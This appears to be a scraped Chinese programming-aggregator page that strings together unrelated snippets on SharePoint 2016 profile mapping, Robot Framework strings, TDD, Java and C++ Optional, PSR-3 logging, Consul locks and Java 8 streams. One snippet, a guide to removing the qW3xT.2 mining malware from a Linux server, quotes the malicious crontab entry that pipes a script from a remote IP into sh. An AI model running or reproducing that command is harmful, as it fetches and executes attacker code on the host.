optional

SharePoint 2016:性能优化和高可用(十,用户信息管理--用户配置文件管理)

点点圈 提交于 2020-04-06 11:58:26
SharePoint 2016:性能优化和高可用(十,用户信息管理之用户配置文件管理) 管理配置文件属性和映射 此内容结合MPP课程和官方参考文档,也许有机会,在Azure 做一遍,把抓图给大家参考,这次暂时列出方法,供大家参考,如果已经很熟悉了,可以忽略本本内容。 段传涛 2018-8-18,周六下午。 艰苦的项目岁月。 前面所述过,在运行配置文件同步后,默认情况下,特定用户配置文件属性会自动映射到SharePoint 2016中的相应目录服务属性里。但是,您还可以根据需要添加自己的映射,将用户配置文件属性映射到目录服务上的特定属性。您可以为AD DS和非AD DS目录服务(例如Novell eDirectory)创建属性映射。 默认用户配置文件属性映射 SharePoint 2016提供了许多可以映射到目录服务属性的默认用户配置文件属性。其中一些属性是单值,其他属性是多值。此外,还有各种数据类型,例如二进制,日期,Person,字符串和URL。 数据类型兼容性 将SharePoint 2016用户配置文件属性映射到外部系统中的属性时,属性和属性必须具有兼容的数据类型。在SharePoint 2016中创建外部内容类型时,可以指定外部内容类型的每列的.NET数据类型。如果使用Business Data Connectivity连接将用户配置文件属性映射到外部内容类型的列

robot framerk -String

核能气质少年 提交于 2020-03-24 16:20:46
3 月,跳不动了?>>> String Library version: 3.0.4 Library scope: global Named arguments: supported Introduction A test library for string manipulation and verification. String is Robot Framework's standard library for manipulating strings (e.g. Replace String Using Regexp , Split To Lines ) and verifying their contents (e.g. Should Be String ). Following keywords from BuiltIn library can also be used with strings: Catenate Get Length Length Should Be Should (Not) Be Empty Should (Not) Be Equal (As Strings/Integers/Numbers) Should (Not) Match (Regexp) Should (Not) Contain Should (Not) Start With

测试计划驱动开发模式 TPDD:一种比 TDD 更友好的开发模式

丶灬走出姿态 提交于 2020-03-24 01:19:14
3 月,跳不动了?>>> 相信大部分开发团队都在使用TDD,并且还有很多开发团队都 对外声明 在使用 TDD 开发模式。 之所以说是“对外声明”,是因为很多开发团队虽然号称使用的是 TDD 开发模式,实际开发过程中却无法满足 TDD 的要求。 实际上,测试驱动的开发模式确实有效,它将可能发生的问题用测试代码预先解决,只有通过测试代码后的代码才是可以接受。当前有很多公司都在应用 TDD,但 TDD 并不是一个开发者友好的开发模式,只是一个理想化的开发模式。 为什么 TDD 不是一个开发者友好的开发方式? 大家都知道 TDD 是什么,可是试问所有的开发者能保证每次开发过程中会满足 TDD 的要求吗? 听听大家的声音: 测试也只是保证脑内想法转成代码的时候,逻辑自洽 Lots of people on the internet talk about how good TDD is, but people were afraid to say it wasn’t working for them. 没有 deadline 的威胁,我很喜欢 TDD,但是过度测试是存在 大多数程序员还不会写测试用例 看起来容易,但是做起来难 Yes. TDD 该死。TDD 死了,T 才能正常 T,程序员做正常人,团队做正常团队。TDD 死,不是因为程序员达不到它的要求,是它没打算尊重程序员,尊重开发实际

快看下你的云上服务器是否也遇到的这个问题

给你一囗甜甜゛ 提交于 2020-03-23 16:34:37
3 月,跳不动了?>>> Linux 下qW3xT.2,解决挖矿病毒 早上开启电脑,连接服务器,使用top查看cpu状态。结果显示进程占用cpu99%以上。 在网上百度,了解到qW3xT.2是一个挖矿病毒。也就是说别人利用你的电脑挖矿。谋取利益。 解决办法: 1、首先解决redis入口问题,因为最开始没有设置密码,所以首先修改redis.conf。设置密码,然后重启redis 2、进入/tmp文件夹下。发现qW3xT.2文件,删除。之后kill掉qW3xT.2该进程,但是一段时间之后,发现该行程又重新启动。 肯定是有守护进程,观察top命令下的进程,发现一个可疑的进行 3、在/tmp文件夹下发现该进程的文件 ls /tmp 发现qW3xT.2文件又重新生成了。这时,首先删除qW3xT.2文件和ddgs.3013文件,然后使用top查询qW3xT.2和ddgs.3013的pid,直接kill掉。 4、一段时间之后,删除的文件重新生成,dds和挖矿的进程又重新执行。此时怀疑是否有计划任务,此时查看计划任务的列表 [root@iZbp1cbg04oh74k1dexpujZ tmp]# crontab -l */15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh [root@iZbp1cbg04oh74k1dexpujZ

How to assign “nothing” to std::optional<T>?

て烟熏妆下的殇ゞ 提交于 2020-03-21 11:32:16
问题 Reading about std::optional, I'm confused about what is the standard way to assign a value of something and nothing to an optional . I guess operator= would be the standard mechanism to assign a value to an optional. Seems to work. Does this imply a copy of the underlying object? What is the standard method to assign nothing ? I've seen x = {} (which makes no sense to me as {} is an empty block) and x = std::nullopt . 回答1: I wouldn't say there is one "standard" way to assign nothing to std:

What's the most elegant way to combine optionals?

余生颓废 提交于 2020-03-17 04:08:38
问题 Here's what I've got so far: Optional<Foo> firstChoice = firstChoice(); Optional<Foo> secondChoice = secondChoice(); return Optional.ofNullable(firstChoice.orElse(secondChoice.orElse(null))); This strikes me as both hideous and wasteful. If firstChoice is present I am needlessly computing secondChoice. There's also a more efficient version: Optional<Foo> firstChoice = firstChoice(); if(firstChoice.isPresent()) { return firstChoice; } else { return secondChoice(); } Here I can't chain some

psr/log日志记录库的通用接口

有些话、适合烂在心里 提交于 2020-03-12 13:53:00
https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md composer require psr/log 日志接口规范 本文制定了日志类库的通用接口规范。 本规范的主要目的,是为了让日志类库以简单通用的方式,通过接收一个 Psr\Log\LoggerInterface 对象,来记录日志信息。 框架以及CMS内容管理系统如有需要, 可以 对此接口进行扩展,但需遵循本规范, 这才能保证在使用第三方的类库文件时,日志接口仍能正常对接。 关键词 “必须”("MUST")、“一定不可/一定不能”("MUST NOT")、“需要”("REQUIRED")、 “将会”("SHALL")、“不会”("SHALL NOT")、“应该”("SHOULD")、“不该”("SHOULD NOT")、 “推荐”("RECOMMENDED")、“可以”("MAY")和”可选“("OPTIONAL")的详细描述可参见 RFC 2119 。 本文中的 实现者 指的是实现了 LoggerInterface 接口的类库或者框架,反过来讲,他们就是 LoggerInterface 的 使用者 。 1. 规范说明 1.1 基本规范 LoggerInterface 接口对外定义了八个方法,分别用来记录

理解、学习与使用 JAVA 中的 OPTIONAL

房东的猫 提交于 2020-03-11 10:00:53
从 Java 8 引入的一个很有趣的特性是 Optional 类。Optional 类主要解决的问题是臭名昭著的空指针异常(NullPointerException) —— 每个 Java 程序员都非常了解的异常。 本质上,这是一个包含有可选值的包装类,这意味着 Optional 类既可以含有对象也可以为空。 Optional 是 Java 实现函数式编程的强劲一步,并且帮助在范式中实现。但是 Optional 的意义显然不止于此。 我们从一个简单的用例开始。在 Java 8 之前,任何访问对象方法或属性的调用都可能导致 NullPointerException : String isocode = user.getAddress().getCountry().getIsocode().toUpperCase(); 在这个小示例中,如果我们需要确保不触发异常,就得在访问每一个值之前对其进行明确地检查: if (user != null ) { Address address = user.getAddress(); if (address != null ) { Country country = address.getCountry(); if (country != null ) { String isocode = country.getIsocode(); if

Golang 通过 Consul 实现分布式锁

北战南征 提交于 2020-03-05 17:22:05
Golang 通过 Consul 实现分布式锁 Consul 是什么 Consul 是一个支持多数据中心分布式高可用的服务发现和配置共享的服务软件,由 HashiCorp 公司用 Go 语言开发, 基于 Mozilla Public License 2.0 的协议进行开源. Consul 支持健康检查,并允许 HTTP 和 DNS 协议调用 API 存储键值对. 命令行超级好用的虚拟机管理软件 vgrant 也是 HashiCorp 公司开发的产品. 一致性协议采用 Raft 算法,用来保证服务的高可用. 使用 GOSSIP 协议管理成员和广播消息, 并且支持 ACL 访问控制. Consul 的使用场景 docker 实例的注册与配置共享 coreos 实例的注册与配置共享 vitess 集群 SaaS 应用的配置共享 与 confd 服务集成,动态生成 nginx 和 haproxy 配置文件 Consul 的优势 使用 Raft 算法来保证一致性, 比复杂的 Paxos 算法更直接. 相比较而言, zookeeper 采用的是 Paxos, 而 etcd 使用的则是 Raft. 支持多数据中心,内外网的服务采用不同的端口进行监听。 多数据中心集群可以避免单数据中心的单点故障,而其部署则需要考虑网络延迟, 分片等情况等. zookeeper 和 etcd

Java8

寵の児 提交于 2020-03-01 12:20:29
Java8 - Stream API 1.介绍 Stream创建 -> 中间操作 -> 终止操作 流一旦使用终止操作,就不能再进行中间操作 Java8 特性 与 函数式接口 配合使用 参考 Java8 - Lambda表达式 与 Optional 配合使用 惰性求值 多个中间操作可以连接起来形成一个流水线,除非流水 线上触发终止操作,否则中间操作不会执行任何的处理!而在终止操作时一次性全部处理,称为“惰性求值”。 2.Stream 的创建 2.1 使用 Collection 集合进行创建 default Stream<E> stream() {return StreamSupport.stream(spliterator(), false);} default Stream<E> parallelStream() {return StreamSupport.stream(spliterator(), true);} Collection<Integer> collection = new ArrayList<Integer>(); collection.add(1); collection.add(2); collection.add(3); collection.add(4); // 串行流 Stream<Integer> stream1 = collection.stream(